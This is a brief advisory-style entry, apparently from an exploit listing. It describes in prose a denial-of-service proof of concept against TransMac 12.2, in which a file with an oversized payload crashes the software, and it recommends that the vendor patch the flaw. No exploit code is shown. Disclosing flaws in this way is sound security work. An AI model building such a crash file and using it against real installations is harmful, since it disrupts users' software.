TransMac 12.2 – Denial of Service (PoC)

The exploit script creates a file with a large payload and then attempts to open it in the TransMac software. This causes the software to crash, resulting in a denial of service.

Mitigation:

The vendor should release a patch to fix the issue and prevent the software from crashing when encountering large payloads.
